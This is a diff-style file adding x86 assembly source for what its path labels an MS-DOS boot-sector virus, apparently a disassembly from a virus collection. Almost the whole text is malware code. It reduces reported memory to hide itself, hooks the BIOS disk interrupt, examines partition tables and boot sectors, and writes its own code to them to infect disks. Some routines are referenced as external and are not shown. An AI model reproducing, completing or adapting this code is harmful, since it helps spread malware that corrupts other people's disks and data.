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MSDOS/B-Index/Virus.MSDOS.Unknown.boot1.asm

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+	name	boot1_asm
+	.radix	16
+
+start:
+	jmp	boot
+
+	db	'IBM  3.3'
+	dw	200
+	db	2
+	dw	1
+	db	2
+	dw	70
+	dw	2D0
+	db	0FDh
+	dw	2
+	dw	9
+	dw	2
+	dw	0
+
+boot:
+	xor	ax,ax
+	mov	ss,ax
+	mov	sp,7C00
+	mov	ds,ax
+	mov	ax,[413]
+	sub	ax,2
+	mov	[413],ax
+	mov	cl,6
+	shl	ax,cl
+	sub	ax,7C0
+	mov	es,ax
+	mov	si,7C00
+	mov	di,si
+	mov	cx,100
+	rep	movsw
+	db	8E,0C8
+;	mov	cs,ax
+	push	cs
+	pop	ds
+	call	n_00014A
+n_00014A:
+	xor	ah,ah
+	int	13
+	and	byte ptr [7DF8],80
+	mov	bx,[7DF9]
+	push	cs
+	pop	ax
+	sub	ax,20
+	mov	es,ax
+	call	n_00019D
+	mov	bx,[7DF9]
+	inc	bx
+	mov	ax,0FFC0
+	mov	es,ax
+	call	n_00019D
+	xor	ax,ax
+	mov	byte ptr [7DF7],al
+	mov	ds,ax
+	mov	ax,[4C]
+	mov	bx,[4E]
+	mov	[4C],7CD0
+	mov	[4E],cs
+	push	cs
+	pop	ds
+	mov	[7D2A],ax
+	mov	[7D2C],bx
+	mov	dl,byte ptr [7DF8]
+	jmp	far ptr f_007C00
+
+	mov	ax,301
+	jmp	short n_0001A0
+n_00019D:
+	mov	ax,201
+n_0001A0:
+	xchg	ax,bx
+	add	ax,[7C1C]
+	xor	dx,dx
+	div	word ptr [7C18]
+	inc	dl
+	mov	ch,dl
+	xor	dx,dx
+	div	word ptr [7C1A]
+	mov	cl,6
+	shl	ah,cl
+	or	ah,ch
+	mov	cx,ax
+	xchg	ch,cl
+	mov	dh,dl
+	mov	ax,bx
+n_0001C3:
+	mov	dl,byte ptr [7DF8]
+	mov	bx,8000
+	int	13
+	jnb	n_0001CF
+	pop	ax
+n_0001CF:
+	ret
+
+	push	ds
+	push	es
+	push	ax
+	push	bx
+	push	cx
+	push	dx
+	push	cs
+	pop	ds
+	push	cs
+	pop	es
+	test	byte ptr [7DF7],1
+	jne	n_000223
+	cmp	ah,2
+	jne	n_000223
+	cmp	byte ptr [7DF8],dl
+	mov	byte ptr [7DF8],dl
+	jne	n_000212
+	xor	ah,ah
+	int	1A
+	test	dh,7F
+	jne	n_000203
+	test	dl,0F0
+	jne	n_000203
+	push	dx
+	call	n_0003B3
+	pop	dx
+n_000203:
+	mov	cx,dx
+	sub	dx,[7EB0]
+	mov	[7EB0],cx
+	sub	dx,24
+	jb	n_000223
+n_000212:
+	or	byte ptr [7DF7],1
+	push	si
+	push	di
+	call	n_00022E
+	pop	di
+	pop	si
+	and	byte ptr [7DF7],0FE
+n_000223:
+	pop	dx
+	pop	cx
+	pop	bx
+	pop	ax
+	pop	es
+	pop	ds
+	jmp	far ptr f_0C833E
+
+n_00022E:
+	mov	ax,201
+	mov	dh,0
+	mov	cx,1
+	call	n_0001C3
+	test	byte ptr [7DF8],80
+	jz	n_000263
+	mov	si,81BE
+	mov	cx,4
+n_000246:
+	cmp	byte ptr [si+4],1
+	je	n_000258
+	cmp	byte ptr [si+4],4
+	je	n_000258
+	add	si,10
+	loop	n_000246
+	ret
+
+n_000258:
+	mov	dx,[si]
+	mov	cx,[si+2]
+	mov	ax,201
+	call	n_0001C3
+n_000263:
+	mov	si,8002
+	mov	di,7C02
+	mov	cx,1C
+	rep	movsb
+	cmp	[81FC],1357
+	jne	n_00028B
+	cmp	byte ptr [81FBh],0
+	jnb	n_00028A
+	mov	ax,[81F5]
+	mov	[7DF5],ax
+	mov	si,[81F9]
+	jmp	n_000392
+n_00028A:
+	ret
+
+n_00028B:
+	cmp	[800Bh],200
+	jne	n_00028A
+	cmp	byte ptr [800Dh],2
+	jb	n_00028A
+	mov	cx,[800E]
+	mov	al,[8010]
+	cbw
+	mul	word ptr [8016]
+	add	cx,ax
+	mov	ax,20
+	mul	word ptr [8011]
+	add	ax,1FF
+	mov	bx,200
+	div	bx
+	add	cx,ax
+	mov	word ptr [7DF5],cx
+	mov	ax,[7C13]
+	sub	ax,[7DF5]
+	mov	bl,[7C0Dh]
+	xor	dx,dx
+	xor	bh,bh
+	div	bx
+	inc	ax
+	mov	di,ax
+	and	byte ptr [7DF7],0FBh
+	cmp	ax,0FF0
+	jbe	n_0002E0
+	or	byte ptr [7DF7],4
+n_0002E0:
+	mov	si,1
+	mov	bx,[7C0E]
+	dec	bx
+	mov	[7DF3],bx
+	mov	byte ptr [7EB2],0FE
+	jmp	short n_000300
+
+	db	1,0,0C,0,1,0,48,1,0,57,13
+
+	dw	0AA55
+
+n_000300:
+
+	extrn	n_000392:near,n_0003B3:near
+	extrn	f_007C00:far,f_0C833E:far
+